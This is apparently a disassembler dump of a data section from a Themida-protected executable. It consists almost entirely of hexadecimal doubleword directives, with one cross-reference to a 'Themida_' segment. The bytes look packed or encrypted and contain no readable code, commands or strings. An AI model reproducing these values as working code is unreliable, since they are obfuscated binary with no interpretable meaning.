		dd 0EEFC659Eh, 0A9D9A6E0h, 0B00BB97Bh, 4F997B93h, 23211341h
		dd 0E9330688h, 601D7FB5h, 8769B343h, 0C1246512h, 8F5774CDh
		dd 4D83CD0Ch, 8E0B28C5h, 0EF17E636h, 98E230DEh,	0E666588Ah
		dd 51C8FE81h, 0B10D7CA4h, 0B85764B9h, 77B0CD0Ch, 4D750297h
		dd 0F28DC7D5h, 0CDA081E5h, 22DB428Eh, 64AABBE3h, 0D386CB6h
		dd 0B4C24A18h, 81E6847Ah, 4C71B285h, 0D3AEF427h, 0D60F7794h
		dd 0E9881D90h, 5993C716h, 0F5111320h, 877BAh, 2AD74800h
		dd 760799F1h, 0C0BDE53Dh, 0FEC2F87h, 5A1B7ED6h,	2CF43321h
		dd 77CF08F5h, 0C71F5825h, 146CA552h, 51BAF38Eh,	0D9FB3543h
		dd 600E7BA9h, 9F42A05h,	383E69E1h, 1128EB67h, 83AB46D0h
		dd 7F8DD716h, 81E64C45h, 0D8688558h, 6B8FB742h,	0DF0ABBE7h
		dd 76A92101h, 0AFF05D85h, 0AECB5416h, 0C4FDF81Eh, 0E8E8F6AEh
		dd 1CA28F5h, 62960000h,	0E5871A54h, 39472581h, 81E586FFh
		dd 0DBF8370Ah, 9F42A86h, 661789BFh, 1D85D13Eh, 0AECB3860h
		dd 894CA42h, 9ADE4D75h,	67594D0Ch, 22B2CF0Eh, 83B701FCh
		dd 0E5A23B75h, 5E7B4E81h, 0F31CF2E1h, 799D5EBDh, 81E5A23Fh
		dd 0A1ADE7F5h, 0EDC081E5h, 9CE625F8h, 0A2205A68h, 582B81E5h
		dd 8A9FAD3Bh, 5D881CBBh, 0D210628Ah, 8E7BAE8Ah,	0CE466E0Fh
		dd 0AE8A86C0h, 7AC6997Bh, 9305825h, 82B9178Bh, 0ACE6F428h
		dd 0BF7BAE8Ah, 999CFECh, 407A88BCh, 4B7BAE8Bh, 550D5B78h
		dd 87EFB1E4h, 32h, 0A6F62C2Eh, 7B93BAD7h, 0E4414F99h, 0A2881DA4h
		dd 0FE48356Ch, 0AF65B6F0h, 0D9F6C97Bh, 53A5CDA0h, 7BAF6615h
		dd 47BEE4E6h, 0EFB2C38Fh, 0C4C1h, 0F42A6800h, 6994BF09h
		dd 3E3D1C59h, 84C3B0E5h, 0F119E438h, 81FB6784h,	0BD355D1Eh
		dd 3F671487h, 0F125B5D2h, 3C62DC04h, 0E911EC34h, 908EDD7Ah
		dd 0B6F5C440h, 0B0E3E77h, 8581E61Bh, 3C2B6411h,	0C2F640D2h
		dd 0E5EA7AB4h, 95B28581h, 9934F907h, 0E4B7881Fh, 403D649Ah
		dd 8968AF07h, 6C056952h, 0EA331F8Eh, 0A934A7E8h, 0D5BAAE9h
		dd 0EF1322EFh, 6C298D3h, 0A930000h, 0BCE43C75h,	0E63088C1h
		dd 237AD20Bh, 56C9215Ah, 0A97E6CA5h, 1C552679h,	6CA558C4h
		dd 0B9F28F14h, 7403D61h, 4882909Eh, 537BA9D8h, 0F72A4AA5h
		dd 84B3EDFBh, 0F3C681E6h, 473F6AB4h, 0B64EFA41h, 1169E603h
		dd 0C2BFE38Dh, 0B5EE2D9Ah, 9F42A98h, 437D8BBFh,	0A81E685h
		dd 0BCA04BEDh, 0A97C7144h, 143C395Dh, 0A41E8AA7h, 0F44A837Eh
		dd 7F78B2C0h, 0B08381E6h, 173F3264h, 393C8DAAh,	0C7000000h
		dd 0B25C403Eh, 0D4081660h, 0D3882320h, 1980B600h, 50F03F5Ch
		dd 6DAF5FBDh, 84E21523h, 5E581E6h, 0AF4CD39Dh, 9CDB4870h
		dd 641C91h, 436E0000h, 0FC385685h, 3F94B181h, 4F997B93h
		dd 1D9DBC41h, 18265A88h, 7BAF6CDEh, 4DD21EF1h, 875A93B0h
		dd 6EB1E75Fh, 0DBF8658Dh, 0AF5D3473h, 10925E7Bh, 0D620F21Ch
		dd 537B76A0h, 73BC9E6h,	68B24BD1h, 1D8E205Ah, 3B582B88h
		dd 54A64ED3h, 396CC8Eh,	4CD04A72h, 0DD1C89B1h, 7BB487C0h
		dd 0CB62h, 7B93ED00h, 0B414F99h, 1E882321h, 0DFD6014Bh
		dd 0ECBE9285h, 8473666h, 0BBE6A0EBh, 9E1C5969h,	940753B9h
		dd 3552BFE7h, 12D454B9h, 52BD7590h, 74EFEFADh, 96000000h
		dd 4F997B93h, 23210C41h, 454C1F88h, 0F6B8709Dh,	46A159ACh
		dd 58D3EFADh, 7A000000h, 4F997B93h, 23210D41h, 34422088h
		dd 7BA9E8FAh, 0DF192705h, 0EA7BA9E8h, 4F99D817h, 0ABED8319h
		dd 0F635A2CAh, 27E68ED9h, 446C118Ch, 0EFEF3CD5h, 0F945CC90h
		dd 8AB1D9A2h, 633A960Ch, 2CA31E49h, 129D64Bh, 35BE5394h
		dd 82205673h, 0ADCACB83h, 22FDEFh, 2CA40000h, 84B0EAF8h
		dd 586681E6h, 81E6851Eh, 96695E31h, 0A27D64Ah, 0E69EFCA2h
		dd 0DD98A581h, 23FFFFFEh, 4F997B93h, 23223B41h,	335B2E88h
		dd 0E42EEC22h, 346E7CB0h, 477BA9E8h, 1F473467h,	0EE5673B2h
		dd 81E683BBh, 0C0D1F9CCh, 7482CC4Eh, 88232016h,	19DBD4A9h
		dd 0F94E448Eh, 0E63A70BAh, 0EAEE3715h, 97D6BD21h, 7D9F6F5Eh
		dd 52C9FF33h, 1E248CA9h, 0D181E695h, 5814B0FCh,	26F536C3h
		dd 529CDBBFh, 0E0FD801Ch, 0ED871C52h, 39A6CEAFh, 0E785B0FAh
		dd 0CD169A02h, 131AECBh, 1A0CB2F8h, 0C2A7638Eh,	1D8B685Ah
		dd 4F2A7000h, 9D58BE16h, 68AA6475h, 0C6B3E81Eh,	800D1BA9h
		dd 53EFF6E5h, 12D25880h, 12EF3390h, 5F1C81D9h, 9A5BBD37h
		dd 9C061272h, 0CC05F227h, 8522F74h, 0EFAE4DD2h,	170EA2D8h
		dd 0EF5C84C3h, 0F0066D2h, 2C1E18Fh, 8AA7E09Dh, 769E7693h
		dd 0B3DBA6FCh, 98940E8Ch, 126AA371h, 73A7F18Ch,	84F7313Fh
		dd 2F0281E6h, 0E684D10Bh, 0EC09DC81h, 0A015F9A1h, 0DC567E7Bh
		dd 1393BB46h, 0AD755B47h, 0A8EED5CDh, 8A0EC2CDh, 3771C3EBh
		dd 0DF81E685h, 0D840831Fh, 5A8EE41Dh, 0E685124Ch, 2D4A1D81h
		dd 537B789Dh, 5F99A7DBh, 6A81E685h, 0D5127A97h,	0F81E684h
		dd 7C72A9DFh, 0FC195825h, 0B5E9DCC6h, 0E6856DA7h, 7F42981h
		dd 0AA7D72DFh, 0DB98FD8Dh, 0A2F472A2h, 333D81E6h, 0F5E9C17Ch
		dd 0FFFF6BACh, 0F42A53FFh, 2278D009h, 28D54Ah, 0A99B5293h
		dd 5942A44Eh, 48A5D01Ah, 0D880FBA8h, 0DD05F028h, 0C9143170h
		dd 0A2EC890Dh, 2A473A6Ch, 8C1658DFh, 0B16E337h,	0E970E199h
		dd 3313F5h, 93BA0000h, 414F997Bh, 8823210Eh, 730296CCh
		dd 434A1D56h, 3577739Bh, 0CD4FBF6Dh, 85427583h,	654581E6h
		dd 0A01A4233h, 0E8557D78h, 0EA5F6AA9h, 4Bh, 0A2F62C75h
		dd 7F8FB6D3h, 1245539Dh, 15882321h, 0EE16E735h,	2C542974h
		dd 3A4180BFh, 8D7F7992h, 0B15CFE62h, 0B1FD4148h, 3D73906Dh
		dd 0D347C765h, 45455292h, 71BBFA3Ah, 74F52F3Dh,	35087BAAh
		dd 497C8A18h, 4681E711h, 2AEF6873h, 67E109F4h, 0C6FC4633h
		dd 986A352h, 5D1E7DB3h,	27F51940h, 9DBACFDDh, 238881Dh
		dd 49B6DE9Fh, 0F820F32Ch, 27D64A80h, 6C64A20Ah,	33357BAFh
		dd 0C5DE966Fh, 3110EFB2h, 0B7000000h, 4F997B93h, 0C6B7E51Bh
		dd 0FD249Eh, 0DF3CA4C1h, 0F0881DA4h, 58EFA51Bh,	87C6C711h
		dd 1CF0D5Fh, 9EA07BAFh,	5F490104h, 0D37BEFB2h, 22000000h
		dd 0BF09F42Ah, 85437D8Bh, 835681E6h, 1980FA66h,	64BA345Ch
		dd 83194F99h, 8CCBA8EDh, 6EDAF764h, 9AD3AEF4h, 0C8021044h
		dd 0D381E684h, 87BE300h, 3081E68Ah, 7ED60FEAh, 24355D18h
		dd 0EE801BEAh, 4D8CCBAAh, 87C1CF03h, 9281E680h,	8F66DCBDh
		dd 86C53410h, 94CDDB69h, 0A7881D98h, 63A25FC7h,	41D33B2Ah
		dd 0FA1EE9F7h, 487C81E8h, 0D7F8003Ah, 1B380B81h, 91C50FE2h
		dd 0EE2DC75Bh, 3978E50Dh, 68158C1Ch, 0B340D72Fh, 0F7DB5A64h
		dd 0A9E4000Ch, 1C4h, 3E770495h,	8AC3B2E6h, 0D40DE032h
		dd 235C217Ch, 6EA754CBh, 2077A780h, 5AC21A53h, 8D126AA3h
		dd 3B5FB7F0h, 8E9C053Eh, 0A9D34680h, 50AB597Bh,	0D7A6F62Ch
		dd 6F72ABAh, 542175CDh,	7B93FE1Bh, 446C118Ch, 404E98D7h
		dd 881DA4E3h, 0A7F921F4h, 7BAF6669h, 73AAE03Ah,	19D43E8Ah
		dd 316784F1h, 0C3DC9471h, 0CE0EEFB2h, 0B5000000h, 0D6A7F62Ch
		dd 8F529B9h, 0CE548ABEh, 84D50F33h, 13E881E6h, 54D639Ah
		dd 5E7BBA7Dh, 542178F2h, 0B548D40Ah, 67DA2C98h,	1181E5BCh
		dd 5FB7F08Dh, 0FEC313Bh, 0E42E7AE7h, 91A2CA09h,	47559F7Dh
		dd 881CE60Eh, 0FB354321h, 0E7BAEA1h, 0D4C3FC3Bh, 808ED83Ah
		dd 81E85056h, 45366949h, 2771B01Dh, 83CDAEF1h, 28C54Dh
		dd 0A3F97693h, 0F7034478h, 5460D91h, 0EBC47D11h, 0F383A008h
		dd 3C80CFACh, 160CF78Fh, 0CEBFFAh, 7E9F0000h, 0A8F04881h
		dd 0EA3C94CDh, 1786DE17h, 42D52D66h, 9D8A78B1h,	28611285h
		dd 78B14CD0h, 0C5FEFB20h, 134C296Dh, 548E9CAAh,	677BA9D2h
		dd 0F72A5EB9h, 2175CD06h, 91C51B54h, 0E6854983h, 64815481h
		dd 7F42A0Fh, 0F151BB9Eh, 1D67A6B5h, 0A5C2BFE7h,	9E5BBF39h
		dd 0EC890D65h, 3AC75BB3h, 58669A12h, 81E5F11Eh,	0D9415E31h
		dd 910E25F2h, 9E277BF9h, 0FE2346Ah, 1C567AE7h, 2F72BDE4h
		dd 6BAF3F5Ch, 99FD558Eh, 63CB4DCh, 4DBAE293h, 0B5DD9E01h
		dd 9B2B48h, 0DCD537Bh, 0DE82E95h, 3C4A7ED4h, 72BDE402h
		dd 0E7212F0Dh, 0F272BDE3h, 33C3E01Fh, 0AFEA12EFh, 14h
		dd 0AB50CB01h, 0A4F91683h, 0B0EAF82Ch, 0BB81E684h, 3D42CBE8h
		dd 0E40CF12Ah, 2149346Ah, 5D8572A7h, 9CC4B9E3h,	0D6FEFF22h
		dd 1038C55Ch, 4E760796h, 87AF42D4h, 0C2EA8B0Dh,	5A545231h
		dd 4C281h, 0EA830000h, 24148704h, 556685Ch, 1C890000h
		dd 736B6824h, 2C890000h, 21BA5224h, 425A5F03h, 0E281D2F7h
		dd 1AAB2A3Eh, 24A9CA81h, 0EAC11BF2h, 72B85005h,	1055D0Ch
		dd 0D38958C2h, 4EC815Ah, 89000000h, 4812424h, 424h, 0EC815D00h
		dd 4, 8F241C89h, 2C8B0845h, 0E2895224h,	4C281h,	0C2830000h
		dd 24148704h, 241C8B5Ch, 81E68956h, 4C6h, 4C68300h, 5C243487h
		dd 0FB9488E9h, 8BD511FFh, 0EE6834E2h, 0B47EB8CEh, 0C503063Ch
		dd 0A5CCE0FFh, 766B5F38h, 950F1D34h, 67610920h,	0B8040D9Eh
		dd 91541DC7h, 0FB4E3565h, 23405386h, 51A81A19h,	0F4C543F6h
		dd 0DEB62512h, 0C45F7246h, 12E44007h, 0F6932150h, 55474810h
		dd 0CC621262h, 16090DECh, 73C77EA5h, 98B61A84h,	0B2292F69h
		dd 94805521h, 0FE86506h, 76000000h, 0DFB8A45Fh,	57BD7484h
		dd 23096656h, 0B70F2C8Eh, 12E95FD9h, 86000000h,	0ED4646A1h
		dd 0AFC76813h, 3BE0694Eh, 22589EADh, 37C781BDh,	0E9000065h
		dd 0Eh,	0DDD051F9h, 0B4C2F707h,	0C5E242DBh, 68A438h, 0F000000h
		dd 588h, 3C8CBB00h, 0B85E098Bh,	1312AC9Fh, 0E93E34FFh
		dd 0Bh,	0AC0BE11h, 706A81AEh, 5A4C0979h, 5E956h, 0F8B50000h
		dd 59A26B41h, 1699EA81h, 0BF0F1A09h, 0EFC281DBh, 8B29BC8Bh
		dd 0B9EA81DFh, 0E900671Fh, 6, 0CFA3228Eh, 0F552075Fh, 5237048Fh
		dd 6659C28Ah, 83496FBBh, 8A5603EEh, 814E59C7h, 0A119EBh
		dd 8CFE8172h, 0FFFFF9Bh, 0FFFF9785h, 8A46BBFFh,	0C08B45D5h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 77C35545h
		dd 48896B86h, 40D28166h, 29BD8341h, 63719h, 0BD830975h
		dd 6371FE1h, 50197400h,	0B8C08B53h, 3FCh, 1B418589h, 9D8D0637h
		dd 639B10Ch, 585BD3FFh,	1FE1BD83h, 74000637h, 0B8535017h
		dd 3FCh, 1B418589h, 9D8D0637h, 639ADFBh, 585BD3FFh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 6FC35343h, 8BAAB2AAh
		dd 0DA8166C0h, 0BD83DD85h, 637089Dh, 8A840F01h,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0F84C356h, 178Ch,	12E900h, 66E20000h, 0E4F6031Dh
		dd 96AF9FB8h, 2E61D955h, 7AA76BFh, 831BD83h, 0F000637h
		dd 4485h, 0BE900h, 5DC70000h, 6B661813h, 0BCEA3CA9h, 95BD83ECh
		dd 6370Bh, 0AA840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 709236C3h, 0CD167531h
		dd 8A8EBE17h, 4E2E9D5h,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 35DE3BC3h, 0F319EA4h
		dd 0DEBFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 2A9CBCC3h, 0EFE802D6h, 0B880Fh
		dd 6E90000h, 14000000h,	2183D7E2h, 0D1B70F4Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0D2C35545h, 0AAF4BA66h
		dd 4237CCAh, 0BC38CF9Fh, 0BC512183h, 0E672C9E8h, 0E8DB93B7h
		dd 0F8D3CD1Eh, 0BC45CD39h, 0EE10C98Eh, 0C11CB284h, 31874323h
		dd 8616B154h, 0EC52A3EEh, 0BC52CA9Ch, 7F0AE93Ah, 98164045h
		dd 9816488Ah, 0BC52DD43h, 7F0289A3h, 62EDC60Fh,	43857EE7h
		dd 7ED3AFA4h, 2EBB3EFBh, 0D652C918h, 0BFBA9A8Eh, 9C52C947h
		dd 35090AF8h, 3D56ED8Dh, 0A656EDACh, 0FF52C974h, 2E8D0A69h
		dd 0EC1B03A2h, 0BDD9C63Ch, 4552C947h, 0BC5221F6h, 3D0FC9D1h
		dd 80EABE05h, 0EA52A372h, 0BC52CAD2h, 7F0CE91Dh, 982640D0h
		dd 98164843h, 0BC52DDA7h, 7F048FD1h, 588D49C8h,	5402C91Eh
		dd 0BC52C939h, 0E491913Dh, 0B8768D07h, 0B8768DC6h, 0BC52C9B5h
		dd 0F2919991h, 5FD368FCh, 0CF7138CBh, 0BC3809B1h, 0BC51214Ah
		dd 0E372C98Eh, 0C0DB9684h, 0F8D3CD87h, 0BC48CDF5h, 0EB15C9E8h
		dd 9961B7h, 0C6CE25C5h,	0BC52CEF4h, 1A9B008Eh, 0A605D896h
		dd 0E66672F3h, 0B8DBB61Ah, 0EE52A3CCh, 0BC52CA9Ch, 7F08E93Ah
		dd 98064047h, 9816488Ah, 0BC52D543h, 7F008BA3h,	0BBDE2C7Bh
		dd 5FDC1924h, 0B5BAA984h, 2152C93Ah, 0D0AE3017h, 68C82E97h
		dd 0BC52DDAFh, 0BD40FFA3h, 33C90E05h, 0AC09C0A6h, 22CB2A59h
		dd 2A4AAA56h, 55099025h, 0BC52C988h, 0C5845A02h, 0B3338824h
		dd 0BC52CC5Fh, 147A72E8h, 0BD5D9B61h, 0D6ACED76h, 0BFBA981Dh
		dd 9C52C98Eh, 350B0A1Eh, 3D56EDEFh, 0A056ED95h,	0FD52C9E8h
		dd 0EC820A25h, 2C5F62E9h, 0B30CE743h, 0BC52D40Ah, 0BC432147h
		dd 360FC9A3h, 19687219h, 13A4759Ch, 0C84205B3h,	3DC6FFC3h
		dd 570CC9D7h, 70A92B0h,	0EE9FE49Ah, 0BC50C5A6h,	0BC5F20D1h
		dd 8B4EC9E8h, 6DD37E7Fh, 0DBBA8340h, 37D1A3AFh,	0BC5C2186h
		dd 82D6C947h, 6075282Dh, 19E0919Fh, 0B90CE094h,	0BC5A2126h
		dd 0B388C93Ah, 0D476E97Bh, 0E6081030h, 3734311Ch, 0BC3835EBh
		dd 0BC512186h, 0E372C9E8h, 0C0DB96B7h, 0F8D3CD1Eh, 0BC4BCD39h
		dd 0EB15C98Eh, 20B77384h, 3C82215Eh, 0AEBBA927h, 4652C9E8h
		dd 13C2ED9h, 0DEB169A3h, 1A8CB350h, 0B51089E6h,	0BC5371A0h
		dd 0DA32C9A3h, 0E68B2350h, 0BC52C201h, 0F29C4474h, 6ED9ACA0h
		dd 6EEF1887h, 0BC5C20EFh, 3E81C947h, 0E07C2532h, 3F9CE104h
		dd 40AD8566h, 0B9DEC624h, 652C93Ah, 0FEAAFB8Dh,	5476C507h
		dd 0BC52C954h, 0FCC8724Bh, 0F9534CD5h, 0BE57873Bh, 0CB292381h
		dd 0DA5A15B3h, 0E6AB20A6h, 0D68B45E8h, 0BFBA9C47h, 9C52C9A3h
		dd 350F0A8Ch, 3D56ED84h, 0AB56ED30h, 0F952C93Ah, 79920A48h
		dd 373480D0h, 4A84429Dh, 395DCD62h, 0BC52C89Dh,	0BFDCC6BAh
		dd 0DA52C974h, 0E50816B1h, 5403C977h, 0BC52C98Dh, 0E5919067h
		dd 0B876852Ah, 0B8768D50h, 0BC52C9F0h, 8B919835h, 4A8BF9C1h
		dd 0BC504012h, 64D9C98Eh, 0EF383BC7h, 11803B22h, 3C09FF3Dh
		dd 395DA1D1h, 0BC52C83Dh, 5405C950h, 0BC52C91Eh, 0E39196AEh
		dd 0B876B5CEh, 0B8768D22h, 0BC52C9CDh
		dd 0E5919EAFh, 15606BBAh, 468FDC0Fh, 0DDB5437Dh, 0D653B005h
		dd 0BFBA9847h, 9C52C9A3h, 350B0A88h, 3D56EDA4h,	0A856ED30h
		dd 0FD52C93Ah, 3D270A4Ch, 0BC52C971h, 4AD0C6C7h, 0D652C9A3h
		dd 0BFBA99D1h, 9C52C9E8h, 350A0A2Ch, 3D56ED7Eh,	0AA56ED59h
		dd 0FC52C98Eh, 0F4210A17h, 0BC5D2058h, 2945C9D1h, 8CAE34A0h
		dd 85863A24h, 3F74A036h, 2FD70E7Bh, 0BD54F539h,	0D652C947h
		dd 0BFBA9EA3h, 9C52C9D1h, 350D0AB7h, 3D56ED08h,	0AA56ED7Eh
		dd 0FB52C91Dh, 0DCB10AD9h, 66D3AF65h, 25BB215Ah, 0D652C9D1h
		dd 0BFBA9EE8h, 9C52C974h, 350D0A65h, 3D56ED61h,	0A056EDCAh
		dd 0FB52C947h, 9D20AF4h, 0C46C6A9h, 3C408462h, 734D392h
		dd 0DEBB3BDAh, 0DC52C91Dh, 548842E8h, 0BC52C941h, 0D336D482h
		dd 0BBBB037Ch, 0E52C9E8h, 0DE8390B3h, 0DD0A4699h, 0ED52A344h
		dd 0BC52CA66h, 7F0BE947h, 981E40FAh, 981648D5h,	0BC52DCECh
		dd 7F038874h, 80E1D42Ah, 0B72B4A7Bh, 0A6D6C671h, 0B52C947h
		dd 2FD70E6Dh, 0BD54F566h, 0B352C9E8h, 0BABB1BCBh, 7052C93Ah
		dd 968B25F7h, 7FD2818Fh, 6CE5C6F2h, 65AF7F1Ah, 95D74498h
		dd 3154F556h, 80EEA4C9h, 0C8AAF23Ch, 6D5DF91Ah,	49B98E47h
		dd 0C2F023C6h, 0BC38B1E7h, 0BC512187h, 0E272C9E8h, 0C8DB97B7h
		dd 0F8D3CD1Eh, 0BC45CD39h, 0EA14C98Eh, 4B911784h, 0BC4021ADh
		dd 0ECA0C9D1h, 2125DEDh, 0B13B6C15h, 91A2B56Ch,	8C39965Eh
		dd 3F08553Dh, 8B5A54FAh, 385DC8A5h, 0BC52C982h,	0A788488Eh
		dd 385D98B3h, 0BC52C93Bh, 1D192E5h, 0BA65C1BFh,	84D7C647h
		dd 0D652C9A3h, 0BFBA9CD1h, 9C52C9E8h, 350F0A29h, 3D56ED56h
		dd 0A156ED59h, 0F952C98Eh, 8B740A12h, 0E7230FC6h, 1CBB1569h
		dd 3F8B7EE7h, 8B595CC9h, 385DC93Ch, 0BC52C92Dh,	55A90E0Eh
		dd 0BC52C98Eh, 5405C9C9h, 0BC52C9D2h, 0E39196C8h, 0B876B5FDh
		dd 0B8768DBBh, 0BC52C906h, 9C919EC9h, 882C2BE2h, 0B38ED9E7h
		dd 93E0126Eh, 0B4CF746Bh, 0B353CF43h, 0BC52B5BFh, 0BF99481Dh
		dd 0B3657219h, 0BC52CCC2h, 35D9AA3h, 0D60F9300h, 0BFBA9EE8h
		dd 9C52C974h, 350D0A65h, 3D56ED61h, 0AB56EDCAh,	0FB52C947h
		dd 49940AF4h, 0B2BBB207h, 3452C9E8h, 8C1D652Dh,	87AFC8F7h
		dd 51CAA7F5h, 65D9AF6Bh, 634A984h, 69D2F997h, 82BBA8D9h
		dd 0D652C9E8h, 0BFBA9C74h, 9C52C93Ah, 350F0A40h, 3D56EDE2h
		dd 0A556ED03h, 0F952C9A3h, 0B1250A84h, 11DBFF4Ch, 0B8B84812h
		dd 0B2BB9428h, 2752C91Dh, 0D58D3AA7h, 0FE4638C0h, 0BCA51C36h
		dd 7BD20642h, 51EF4402h, 3154F5C3h, 80EF3FB7h, 0E04F711Bh
		dd 3961B2B4h, 0BA65E9D6h, 55930688h, 65AF7F1Ah,	95D74498h
		dd 3154F556h, 80EEA4C9h, 0C8AAF23Ch, 6D5DF91Ah,	5E98347h
		dd 0BD83A4F3h, 63CB793h, 8D0D7400h, 374E2B8Dh, 1B806h
		dd 0E1FF0000h, 55006A40h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0AE71E3C5h, 6AF08Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0F5D83EC3h, 458A0A8h, 0BB6693DDh, 0E8838929h, 8BF78A2Dh
		dd 56006AC0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 8060E4E8h, 83612ADAh, 371929BDh,	9750006h
		dd 1FE1BD83h, 74000637h, 8B535019h, 3FCB8C0h, 85890000h
		dd 6372A05h, 0B1739D8Dh, 0D3FF0639h, 0BD83585Bh, 6371FE1h
		dd 50177400h, 3FCB853h,	85890000h, 6372A05h, 0AE149D8Dh
		dd 0D3FF0639h, 0BB66585Bh, 6A2B5Fh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 2ED7E7C3h
		dd 8BF80995h, 0DA8D8DC0h, 6A063CBFh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 83DDC352h
		dd 0CC8354E7h, 89D08B6Ch, 3718758Dh, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 867782F1h
		dd 594AB866h, 119585C7h, 6F340637h, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 0C5A7A9C3h
		dd 1CD1958Bh, 85C70637h, 6370F81h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 3FC35747h
		dd 894E223Bh, 372871BDh, 0A5B5FF06h, 0FF06371Bh, 37129195h
		dd 8160F506h, 2A70CAE1h, 6A612Ch, 321995FFh, 0C08B0637h
		dd 0E3F629EBh, 248160D8h, 22B2AFFBh, 0F96FB05Fh, 2618D32Fh
		dd 5995BE8Ch, 0EFD354F7h, 75830B53h, 91052710h,	0B414336Dh
		dd 0EB680EA5h, 24h, 8 dup(0)
		dd 0BDE900h
		db 2 dup(0)
word_598C82	dw 0B589h		; DATA XREF: Themida_:0053D49Co
		dd 63CC00Ah, 89D858Bh, 858B0637h, 63713D5h, 0C054B58Dh
		dd 858D063Ch, 63A4478h,	55C3D0FFh, 0E8h, 0ED815D00h, 63CC05Ah
		dd 89DBD83h, 0F010637h,	2C85h, 0AB5FF00h, 8B063CC0h, 3713D585h
		dd 27363506h, 0D0FF3481h, 850F013Ch, 0Ah, 1B8h,	47E900h
		dd 0C0330000h, 40E9h, 8D1C6A00h, 3CC00EB5h, 0B5FF5606h
		dd 63CC00Ah, 13D5858Bh,	36350637h, 0FF348127h, 0CC483D0h
		dd 0C00EB58Dh, 468B063Ch, 4E08314h, 0F04F883h, 784h, 0E9C03300h
		dd 5, 1B8h, 9DBD8300h, 1063708h, 7850Fh, 0C35D0000h, 2E9h
		dd 8DCF5D00h, 3CC03385h, 4D858906h, 0E9063708h,	98h, 94h
		dd 5, 1, 0A28h,	2, 20h dup(0)
		dd 118C0CAFh, 0B8BE9h, 0C36A6800h, 0B3E9063Ch, 68FFFABCh
		dd 63CC484h, 0FABCA9E9h, 0C56A68FFh, 9FE9063Ch,	68FFFABCh
		dd 63CC5D9h, 0FABC95E9h, 0C73468FFh, 8BE9063Ch,	68FFFABCh
		dd 63CC796h, 0FABC81E9h, 0CAB968FFh, 77E9063Ch,	68FFFABCh
		dd 63CCBACh, 0FABC6DE9h, 0D6296FFFh, 0A3EC3BF6h, 76BB08C3h
		dd 458ADB96h, 1558AA65h, 0BA8A35h, 0D08B6BAEh, 0A15C3C85h
		dd 6F2A0A51h, 78FCDC23h, 0D537792h, 0E310E71Fh,	0DDF84AEFh
		dd 0E123CCEDh, 0CCC40621h, 81A7E123h, 4A6F9AC0h, 3F0B7FEh
		dd 9F9070B7h, 3C57754Bh, 0E75AE52Bh, 90D92463h,	0A984AFC9h
		dd 0E31B5EB0h, 0D50B531Ch, 5AA6E714h, 0F5F4C13h, 775301C8h
		dd 8F9DD059h, 0A2013071h, 637F3C5Fh, 31000000h,	0A4FA0DFh
		dd 8422943h, 0DBE714EDh, 4A6E8AB5h, 0BF8BA6F8h,	2CE123CCh
		dd 0CC2B1F06h, 405BE123h, 0E123CC0Ah, 0E6F2B3D9h, 23CCFFCBh
		dd 0E466CE1h, 5E3488E3h, 0EC782540h, 0AAA3E75Ah, 0BA0B165Fh
		dd 0E01F3D75h, 67814891h, 1C5B5B3Ch, 5A5B86CBh,	0E714D30Ch
		dd 18597785h, 3C5FAC19h, 0E267h, 115D3500h, 206DACCAh
		dd 0DFFA14DBh, 0B05A80Ch, 0C9AAD5DEh, 29478ADCh, 0C6735DDAh
		dd 0C8F3302Fh, 81AEFAE7h, 233F6466h, 0A9E107E1h, 62A9F5E2h
		dd 0F3D7F244h, 70E1233Fh, 8E251F4Ah, 0E123224Bh, 0C53FF443h
		dd 0D3367BDCh, 0F03783A8h, 0C2095510h, 0AE84D8FBh, 6A687590h
		dd 3776E75Ah, 4F6CBEE6h, 447C689Dh, 0A248450Ch,	0FF3497BFh
		dd 0D2ADD810h, 0FD4F8EACh, 0CED9F3BAh, 5771387Dh, 0ED41322Ch
		dd 0E4DEF917h, 87E16A9Fh, 0B2044361h, 82D48F6Fh, 0CC3F743Fh
		dd 21D83FBDh, 91A32h, 5AADF300h, 2770BF7Ah, 0FA3F8C47h
		dd 0C90E5F1Ah, 99DC2EE9h, 84360EB9h, 540FEF32h,	25E0C009h
		dd 0F3AE8ED5h, 0FC8060A7h, 0FCFFB16h, 6F9CE71Fh, 0C80B5D7Bh
		dd 0B4E12DE8h, 23CCB199h, 5198E8E1h, 89AF708Ah,	27BF7151h
		dd 0C4DFFDD3h, 0E75AECDBh, 1313DA00h, 69E390C4h, 9CC7EC1Dh
		dd 1453D39Bh, 9AB8C6E7h, 602BD859h, 0F5A83Ch, 0B5A0000h
		dd 712DEB5Ch, 24406B10h, 0EDDDF84Ah, 21E123CCh,	23CCC406h
		dd 0C081A7E1h, 6C337CC7h, 0BD0F1A52h, 6E99B37Ah, 92E3FD49h
		dd 346C864Dh, 458AD716h, 5839647Eh, 0B8D6196Bh,	0E4721D69h
		dd 0B8072C02h, 568EA86Fh, 0BE814A2Bh, 6BE12346h, 72B9051Fh
		dd 3B5991ABh, 3C67AAFCh, 0F43B8742h, 0E0B60A2Dh, 755570C2h
		dd 9CE1235Fh, 9CCFCADAh, 9E9758BAh, 0A8D30B52h,	93DF1E70h
		dd 1720214Ch, 0FCE75A9Eh, 0B105F6D6h, 0DFA2BDDBh, 14E16A18h
		dd 3F91D0EEh, 718CDEFCh, 0E12D0359h, 0BFB9E40Ah, 0A46FB204h
